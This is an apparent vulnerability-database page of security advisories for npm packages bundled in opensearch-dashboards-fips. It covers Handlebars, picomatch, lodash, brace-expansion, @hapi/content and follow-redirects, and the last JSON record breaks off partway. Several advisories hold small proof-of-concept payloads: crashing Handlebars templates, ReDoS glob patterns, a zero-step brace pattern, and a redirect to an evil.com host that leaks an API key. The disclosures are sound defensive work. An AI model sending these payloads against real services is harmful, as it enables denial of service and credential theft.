Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Package opensearch-dashboards-fips version 3.5.0-r0 fixes 30 vulnerabilities: ghsa-jg4p-7fhp-p32p, ghsa-2w6w-674q-4c4q, ghsa-9cx6-37pm-9jff, ghsa-r5fr-rjxr-66jc, ghsa-3v7f-55p6-f55p...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "opensearch-dashboards-fips"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.5.0-r0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.5.0-r0"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package opensearch-dashboards-fips version 3.5.0-r0 fixes 30 vulnerabilities: ghsa-jg4p-7fhp-p32p, ghsa-2w6w-674q-4c4q, ghsa-9cx6-37pm-9jff, ghsa-r5fr-rjxr-66jc, ghsa-3v7f-55p6-f55p...",
"id": "CLEANSTART-2026-QN62418",
"modified": "2026-07-30T09:36:21Z",
"published": "2026-07-30T07:10:53Z",
"references": [
{
"type": "WEB",
"url": "https://opensearch.org/"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in opensearch-dashboards-fips 3.5.0-r0",
"upstream": [
"ghsa-jg4p-7fhp-p32p",
"ghsa-2w6w-674q-4c4q",
"ghsa-9cx6-37pm-9jff",
"ghsa-r5fr-rjxr-66jc",
"ghsa-3v7f-55p6-f55p",
"ghsa-3mfm-83xf-c92r",
"ghsa-2qvq-rjwj-gvw9",
"ghsa-xhpv-hc6g-r9c6",
"ghsa-f23m-r3pf-42rh",
"ghsa-c2c7-rcm5-vvqj",
"ghsa-f886-m6hf-6m8v",
"ghsa-2g4f-4pwh-qvx6",
"ghsa-xjpj-3mr7-gcpf",
"ghsa-r4q5-vmmm-2653",
"ghsa-7rx3-28cr-v5wh",
"ghsa-w5hq-g745-h8pq",
"ghsa-442j-39wm-28r2",
"CVE-2026-35213",
"CVE-2025-69873",
"CVE-2026-33750",
"CVE-2026-33937",
"CVE-2026-33938",
"CVE-2026-33939",
"CVE-2026-33940",
"CVE-2026-33941",
"CVE-2026-33916",
"CVE-2026-4800",
"CVE-2026-2950",
"CVE-2026-33671",
"CVE-2026-33672"
]
}
GHSA-9CX6-37PM-9JFF
Vulnerability from github – Published: 2026-03-27 18:21 – Updated: 2026-03-30 20:08Summary
When a Handlebars template contains decorator syntax referencing an unregistered decorator (e.g. {{*n}}), the compiled template calls lookupProperty(decorators, "n"), which returns undefined. The runtime then immediately invokes the result as a function, causing an unhandled TypeError: ... is not a function that crashes the Node.js process. Any application that compiles user-supplied templates without wrapping the call in a try/catch is vulnerable to a single-request Denial of Service.
Description
In lib/handlebars/compiler/javascript-compiler.js, the code generated for a decorator invocation looks like:
fn = lookupProperty(decorators, "n")(fn, props, container, options) || fn;
When "n" is not a registered decorator, lookupProperty(decorators, "n") returns undefined. The expression immediately attempts to call undefined as a function, producing:
TypeError: lookupProperty(...) is not a function
Because the error is thrown inside the compiled template function and is not caught by the runtime, it propagates up as an unhandled exception and — when not caught by the application — crashes the Node.js process.
This inconsistency is notable: references to unregistered helpers produce a clean "Missing helper: ..." error, while references to unregistered decorators cause a hard crash.
Attack scenario: An attacker submits {{*n}} as template content to any endpoint that calls Handlebars.compile(userInput)(). Each request crashes the server process; with process managers that auto-restart (PM2, systemd), repeated submissions create a persistent DoS.
Proof of Concept
const Handlebars = require('handlebars'); // Handlebars 4.7.8, Node.js v22.x
// Any of these payloads crash the process
Handlebars.compile('{{*n}}')({});
Handlebars.compile('{{*decorator}}')({});
Handlebars.compile('{{*constructor}}')({});
Expected crash output:
TypeError: lookupProperty(...) is not a function
at Function.eval [as decorator] (eval at compile (...javascript-compiler.js:134:36))
Workarounds
- Wrap compilation and rendering in
try/catch:javascript try { const result = Handlebars.compile(userInput)(context); res.send(result); } catch (err) { res.status(400).send('Invalid template'); } - Validate template input before passing it to
compile(). Reject templates containing decorator syntax ({{*...}}) if decorators are not used in your application. - Use the pre-compilation workflow: compile templates at build time and serve only pre-compiled templates; do not call
compile()at request time.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.7.8"
},
"package": {
"ecosystem": "npm",
"name": "handlebars"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.7.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33939"
],
"database_specific": {
"cwe_ids": [
"CWE-754"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T18:21:15Z",
"nvd_published_at": "2026-03-27T22:16:20Z",
"severity": "HIGH"
},
"details": "## Summary\n\nWhen a Handlebars template contains decorator syntax referencing an unregistered decorator (e.g. `{{*n}}`), the compiled template calls `lookupProperty(decorators, \"n\")`, which returns `undefined`. The runtime then immediately invokes the result as a function, causing an unhandled `TypeError: ... is not a function` that crashes the Node.js process. Any application that compiles user-supplied templates without wrapping the call in a `try/catch` is vulnerable to a single-request Denial of Service.\n\n## Description\n\nIn `lib/handlebars/compiler/javascript-compiler.js`, the code generated for a decorator invocation looks like:\n\n```javascript\nfn = lookupProperty(decorators, \"n\")(fn, props, container, options) || fn;\n```\n\nWhen `\"n\"` is not a registered decorator, `lookupProperty(decorators, \"n\")` returns `undefined`. The expression immediately attempts to call `undefined` as a function, producing:\n\n```\nTypeError: lookupProperty(...) is not a function\n```\n\nBecause the error is thrown inside the compiled template function and is not caught by the runtime, it propagates up as an unhandled exception and \u2014 when not caught by the application \u2014 crashes the Node.js process.\n\nThis inconsistency is notable: references to unregistered **helpers** produce a clean `\"Missing helper: ...\"` error, while references to unregistered **decorators** cause a hard crash.\n\n**Attack scenario:** An attacker submits `{{*n}}` as template content to any endpoint that calls `Handlebars.compile(userInput)()`. Each request crashes the server process; with process managers that auto-restart (PM2, systemd), repeated submissions create a persistent DoS.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require(\u0027handlebars\u0027); // Handlebars 4.7.8, Node.js v22.x\n\n// Any of these payloads crash the process\nHandlebars.compile(\u0027{{*n}}\u0027)({});\nHandlebars.compile(\u0027{{*decorator}}\u0027)({});\nHandlebars.compile(\u0027{{*constructor}}\u0027)({});\n```\n\nExpected crash output:\n```\nTypeError: lookupProperty(...) is not a function\n at Function.eval [as decorator] (eval at compile (...javascript-compiler.js:134:36))\n```\n\n## Workarounds\n\n- **Wrap compilation and rendering in `try/catch`:**\n ```javascript\n try {\n const result = Handlebars.compile(userInput)(context);\n res.send(result);\n } catch (err) {\n res.status(400).send(\u0027Invalid template\u0027);\n }\n ```\n- **Validate template input** before passing it to `compile()`. Reject templates containing decorator syntax (`{{*...}}`) if decorators are not used in your application.\n- **Use the pre-compilation workflow:** compile templates at build time and serve only pre-compiled templates; do not call `compile()` at request time.",
"id": "GHSA-9cx6-37pm-9jff",
"modified": "2026-03-30T20:08:14Z",
"published": "2026-03-27T18:21:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-9cx6-37pm-9jff"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33939"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
},
{
"type": "PACKAGE",
"url": "https://github.com/handlebars-lang/handlebars.js"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Handlebars.js has Denial of Service via Malformed Decorator Syntax in Template Compilation"
}
GHSA-C2C7-RCM5-VVQJ
Vulnerability from github – Published: 2026-03-25 21:12 – Updated: 2026-03-27 21:36Impact
picomatch is vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as +() and *(), especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input.
Examples of problematic patterns include +(a|aa), +(*|?), +(+(a)), *(+(a)), and +(+(+(a))). In local reproduction, these patterns caused multi-second event-loop blocking with relatively short inputs. For example, +(a|aa) compiled to ^(?:(?=.)(?:a|aa)+)$ and took about 2 seconds to reject a 41-character non-matching input, while nested patterns such as +(+(a)) and *(+(a)) took around 29 seconds to reject a 33-character input on a modern M1 MacBook.
Applications are impacted when they allow untrusted users to supply glob patterns that are passed to picomatch for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way.
Patches
This issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.
Users should upgrade to one of these versions or later, depending on their supported release line.
Workarounds
If upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.
Possible mitigations include:
- disable extglob support for untrusted patterns by using noextglob: true
- reject or sanitize patterns containing nested extglobs or extglob quantifiers such as +() and *()
- enforce strict allowlists for accepted pattern syntax
- run matching in an isolated worker or separate process with time and resource limits
- apply application-level request throttling and input validation for any endpoint that accepts glob patterns
Resources
- Picomatch repository: https://github.com/micromatch/picomatch
lib/parse.jsandlib/constants.jsare involved in generating the vulnerable regex forms- Comparable ReDoS precedent: CVE-2024-4067 (
micromatch) - Comparable generated-regex precedent: CVE-2024-45296 (
path-to-regexp)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "picomatch"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "picomatch"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "picomatch"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33671"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T21:12:07Z",
"nvd_published_at": "2026-03-26T22:16:30Z",
"severity": "HIGH"
},
"details": "### Impact\n`picomatch` is vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. Certain patterns using extglob quantifiers such as `+()` and `*()`, especially when combined with overlapping alternatives or nested extglobs, are compiled into regular expressions that can exhibit catastrophic backtracking on non-matching input.\n\nExamples of problematic patterns include `+(a|aa)`, `+(*|?)`, `+(+(a))`, `*(+(a))`, and `+(+(+(a)))`. In local reproduction, these patterns caused multi-second event-loop blocking with relatively short inputs. For example, `+(a|aa)` compiled to `^(?:(?=.)(?:a|aa)+)$` and took about 2 seconds to reject a 41-character non-matching input, while nested patterns such as `+(+(a))` and `*(+(a))` took around 29 seconds to reject a 33-character input on a modern M1 MacBook.\n\nApplications are impacted when they allow untrusted users to supply glob patterns that are passed to `picomatch` for compilation or matching. In those cases, an attacker can cause excessive CPU consumption and block the Node.js event loop, resulting in a denial of service. Applications that only use trusted, developer-controlled glob patterns are much less likely to be exposed in a security-relevant way.\n\n### Patches\nThis issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.\n\nUsers should upgrade to one of these versions or later, depending on their supported release line.\n\n### Workarounds\nIf upgrading is not immediately possible, avoid passing untrusted glob patterns to `picomatch`.\n\nPossible mitigations include:\n- disable extglob support for untrusted patterns by using `noextglob: true`\n- reject or sanitize patterns containing nested extglobs or extglob quantifiers such as `+()` and `*()`\n- enforce strict allowlists for accepted pattern syntax\n- run matching in an isolated worker or separate process with time and resource limits\n- apply application-level request throttling and input validation for any endpoint that accepts glob patterns\n\n### Resources\n- Picomatch repository: https://github.com/micromatch/picomatch\n- `lib/parse.js` and `lib/constants.js` are involved in generating the vulnerable regex forms\n- Comparable ReDoS precedent: CVE-2024-4067 (`micromatch`)\n- Comparable generated-regex precedent: CVE-2024-45296 (`path-to-regexp`)",
"id": "GHSA-c2c7-rcm5-vvqj",
"modified": "2026-03-27T21:36:13Z",
"published": "2026-03-25T21:12:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33671"
},
{
"type": "WEB",
"url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d"
},
{
"type": "PACKAGE",
"url": "https://github.com/micromatch/picomatch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Picomatch has a ReDoS vulnerability via extglob quantifiers"
}
GHSA-F23M-R3PF-42RH
Vulnerability from github – Published: 2026-04-01 23:50 – Updated: 2026-04-01 23:50Impact
Lodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the _.unset and _.omit functions. The fix for CVE-2025-13465 only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as Object.prototype, Number.prototype, and String.prototype.
The issue permits deletion of prototype properties but does not allow overwriting their original behavior.
Patches
This issue is patched in 4.18.0.
Workarounds
None. Upgrade to the patched version.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.17.23"
},
"package": {
"ecosystem": "npm",
"name": "lodash"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.18.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.17.23"
},
"package": {
"ecosystem": "npm",
"name": "lodash-es"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.18.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.17.23"
},
"package": {
"ecosystem": "npm",
"name": "lodash-amd"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.18.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "lodash.unset"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-2950"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T23:50:27Z",
"nvd_published_at": "2026-03-31T20:16:26Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nLodash versions 4.17.23 and earlier are vulnerable to prototype pollution in the `_.unset` and `_.omit` functions. The fix for [CVE-2025-13465](https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg) only guards against string key members, so an attacker can bypass the check by passing array-wrapped path segments. This allows deletion of properties from built-in prototypes such as `Object.prototype`, `Number.prototype`, and `String.prototype`.\n\nThe issue permits deletion of prototype properties but does not allow overwriting their original behavior.\n\n### Patches\n\nThis issue is patched in 4.18.0.\n\n### Workarounds\n\nNone. Upgrade to the patched version.",
"id": "GHSA-f23m-r3pf-42rh",
"modified": "2026-04-01T23:50:27Z",
"published": "2026-04-01T23:50:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lodash/lodash/security/advisories/GHSA-f23m-r3pf-42rh"
},
{
"type": "WEB",
"url": "https://github.com/lodash/lodash/security/advisories/GHSA-xxjr-mmjv-4gpg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2950"
},
{
"type": "PACKAGE",
"url": "https://github.com/lodash/lodash"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "lodash vulnerable to Prototype Pollution via array path bypass in `_.unset` and `_.omit`"
}
GHSA-F886-M6HF-6M8V
Vulnerability from github – Published: 2026-03-26 18:29 – Updated: 2026-03-27 21:38Impact
A brace pattern with a zero step value (e.g., {1..2..0}) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory.
The loop in question:
https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184
test() is one of
https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113
The increment is computed as Math.abs(0) = 0, so the loop variable never advances. On a test machine, the process hangs for about 3.5 seconds and allocates roughly 1.9 GB of memory before throwing a RangeError. Setting max to any value has no effect because the limit is only checked at the output combination step, not during sequence generation.
This affects any application that passes untrusted strings to expand(), or by error sets a step value of 0. That includes tools built on minimatch/glob that resolve patterns from CLI arguments or config files. The input needed is just 10 bytes.
Patches
Upgrade to versions - 5.0.5+
A step increment of 0 is now sanitized to 1, which matches bash behavior.
Workarounds
Sanitize strings passed to expand() to ensure a step value of 0 is not used.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "brace-expansion"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "5.0.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "brace-expansion"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "brace-expansion"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "brace-expansion"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33750"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T18:29:42Z",
"nvd_published_at": "2026-03-27T15:16:57Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nA brace pattern with a zero step value (e.g., `{1..2..0}`) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory.\n\nThe loop in question:\n\nhttps://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184\n\n`test()` is one of\n\nhttps://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113\n\nThe increment is computed as `Math.abs(0) = 0`, so the loop variable never advances. On a test machine, the process hangs for about 3.5 seconds and allocates roughly 1.9 GB of memory before throwing a `RangeError`. Setting max to any value has no effect because the limit is only checked at the output combination step, not during sequence generation.\n\nThis affects any application that passes untrusted strings to expand(), or by error sets a step value of `0`. That includes tools built on minimatch/glob that resolve patterns from CLI arguments or config files. The input needed is just 10 bytes.\n\n### Patches\n\n\nUpgrade to versions\n- 5.0.5+\n\nA step increment of 0 is now sanitized to 1, which matches bash behavior.\n\n### Workarounds\n\nSanitize strings passed to `expand()` to ensure a step value of `0` is not used.",
"id": "GHSA-f886-m6hf-6m8v",
"modified": "2026-03-27T21:38:55Z",
"published": "2026-03-26T18:29:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33750"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/issues/98"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/pull/95"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/pull/96"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/pull/97"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a"
},
{
"type": "PACKAGE",
"url": "https://github.com/juliangruber/brace-expansion"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113"
},
{
"type": "WEB",
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "brace-expansion: Zero-step sequence causes process hang and memory exhaustion"
}
GHSA-JG4P-7FHP-P32P
Vulnerability from github – Published: 2026-04-04 04:23 – Updated: 2026-04-24 13:43All versions of @hapi/content through 6.0.0 are vulnerable to Regular Expression Denial of Service (ReDoS) via crafted HTTP header values. Three regular expressions used to parse Content-Type and Content-Disposition headers contain patterns susceptible to catastrophic backtracking. This has been fixed in v6.0.1.
Impact
Denial of Service. An unauthenticated remote attacker can cause a Node.js process to become unresponsive by sending a single HTTP request with a maliciously crafted header value.
Patches
Fixed by tightening all three regular expressions to eliminate backtracking.
Workarounds
There are no known workarounds. Upgrade to the patched version.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.0.0"
},
"package": {
"ecosystem": "npm",
"name": "@hapi/content"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35213"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-04T04:23:03Z",
"nvd_published_at": "2026-04-06T21:16:20Z",
"severity": "HIGH"
},
"details": "All versions of `@hapi/content` through 6.0.0 are vulnerable to Regular Expression Denial of Service (ReDoS) via crafted HTTP header values. Three regular expressions used to parse `Content-Type` and `Content-Disposition` headers contain patterns susceptible to catastrophic backtracking. This has been fixed in v6.0.1.\n\n### Impact\n\nDenial of Service. An unauthenticated remote attacker can cause a Node.js process to become unresponsive by sending a single HTTP request with a maliciously crafted header value.\n\n### Patches\n\nFixed by tightening all three regular expressions to eliminate backtracking.\n\n### Workarounds\n\nThere are no known workarounds. Upgrade to the patched version.",
"id": "GHSA-jg4p-7fhp-p32p",
"modified": "2026-04-24T13:43:15Z",
"published": "2026-04-04T04:23:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/hapijs/content/security/advisories/GHSA-jg4p-7fhp-p32p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35213"
},
{
"type": "WEB",
"url": "https://github.com/hapijs/content/pull/38"
},
{
"type": "PACKAGE",
"url": "https://github.com/hapijs/content"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "@hapi/content: Regular Expression Denial of Service (ReDoS) in HTTP header parsing"
}
GHSA-R4Q5-VMMM-2653
Vulnerability from github – Published: 2026-04-14 01:11 – Updated: 2026-04-14 01:11Summary
When an HTTP request follows a cross-domain redirect (301/302/307/308), follow-redirects only strips authorization, proxy-authorization, and cookie headers (matched by regex at index.js:469-476). Any custom authentication header (e.g., X-API-Key, X-Auth-Token, Api-Key, Token) is forwarded verbatim to the redirect target.
Since follow-redirects is the redirect-handling dependency for axios (105K+ stars), this vulnerability affects the entire axios ecosystem.
Affected Code
index.js, lines 469-476:
if (redirectUrl.protocol !== currentUrlParts.protocol &&
redirectUrl.protocol !== "https:" ||
redirectUrl.host !== currentHost &&
!isSubdomain(redirectUrl.host, currentHost)) {
removeMatchingHeaders(/^(?:(?:proxy-)?authorization|cookie)$/i, this._options.headers);
}
The regex only matches authorization, proxy-authorization, and cookie. Custom headers like X-API-Key are not matched.
Attack Scenario
- App uses axios with custom auth header:
headers: { 'X-API-Key': 'sk-live-secret123' } - Server returns
302 Location: https://evil.com/steal - follow-redirects sends
X-API-Key: sk-live-secret123toevil.com - Attacker captures the API key
Impact
Any custom auth header set via axios leaks on cross-domain redirect. Extremely common pattern. Affects all axios users in Node.js.
Suggested Fix
Add a sensitiveHeaders option that users can extend, or strip ALL non-standard headers on cross-domain redirect.
Disclosure
Source code review, manually verified. Found 2026-03-20.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.15.11"
},
"package": {
"ecosystem": "npm",
"name": "follow-redirects"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.16.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-14T01:11:11Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nWhen an HTTP request follows a cross-domain redirect (301/302/307/308), `follow-redirects` only strips `authorization`, `proxy-authorization`, and `cookie` headers (matched by regex at index.js:469-476). Any custom authentication header (e.g., `X-API-Key`, `X-Auth-Token`, `Api-Key`, `Token`) is forwarded verbatim to the redirect target.\n\nSince `follow-redirects` is the redirect-handling dependency for **axios** (105K+ stars), this vulnerability affects the entire axios ecosystem.\n\n## Affected Code\n\n`index.js`, lines 469-476:\n\n```javascript\nif (redirectUrl.protocol !== currentUrlParts.protocol \u0026\u0026\n redirectUrl.protocol !== \"https:\" ||\n redirectUrl.host !== currentHost \u0026\u0026\n !isSubdomain(redirectUrl.host, currentHost)) {\n removeMatchingHeaders(/^(?:(?:proxy-)?authorization|cookie)$/i, this._options.headers);\n}\n```\n\nThe regex only matches `authorization`, `proxy-authorization`, and `cookie`. Custom headers like `X-API-Key` are not matched.\n\n## Attack Scenario\n\n1. App uses axios with custom auth header: `headers: { \u0027X-API-Key\u0027: \u0027sk-live-secret123\u0027 }`\n2. Server returns `302 Location: https://evil.com/steal`\n3. follow-redirects sends `X-API-Key: sk-live-secret123` to `evil.com`\n4. Attacker captures the API key\n\n## Impact\n\nAny custom auth header set via axios leaks on cross-domain redirect. Extremely common pattern. Affects all axios users in Node.js.\n\n## Suggested Fix\n\nAdd a `sensitiveHeaders` option that users can extend, or strip ALL non-standard headers on cross-domain redirect.\n\n## Disclosure\n\nSource code review, manually verified. Found 2026-03-20.",
"id": "GHSA-r4q5-vmmm-2653",
"modified": "2026-04-14T01:11:11Z",
"published": "2026-04-14T01:11:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653"
},
{
"type": "WEB",
"url": "https://github.com/follow-redirects/follow-redirects/commit/844c4d302ac963d29bdb5dc1754ec7df3d70d7f9"
},
{
"type": "PACKAGE",
"url": "https://github.com/follow-redirects/follow-redirects"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "follow-redirects leaks Custom Authentication Headers to Cross-Domain Redirect Targets"
}
GHSA-R5FR-RJXR-66JC
Vulnerability from github – Published: 2026-04-01 23:51 – Updated: 2026-04-01 23:51Impact
The fix for CVE-2021-23337 added validation for the variable option in _.template but did not apply the same validation to options.imports key names. Both paths flow into the same Function() constructor sink.
When an application passes untrusted input as options.imports key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time.
Additionally, _.template uses assignInWith to merge imports, which enumerates inherited properties via for..in. If Object.prototype has been polluted by any other vector, the polluted keys are copied into the imports object and passed to Function().
Patches
Users should upgrade to version 4.18.0.
The fix applies two changes:
1. Validate importsKeys against the existing reForbiddenIdentifierChars regex (same check already used for the variable option)
2. Replace assignInWith with assignWith when merging imports, so only own properties are enumerated
Workarounds
Do not pass untrusted input as key names in options.imports. Only use developer-controlled, static key names.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.17.23"
},
"package": {
"ecosystem": "npm",
"name": "lodash"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.18.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.17.23"
},
"package": {
"ecosystem": "npm",
"name": "lodash-es"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.18.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.17.23"
},
"package": {
"ecosystem": "npm",
"name": "lodash-amd"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.18.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "lodash.template"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
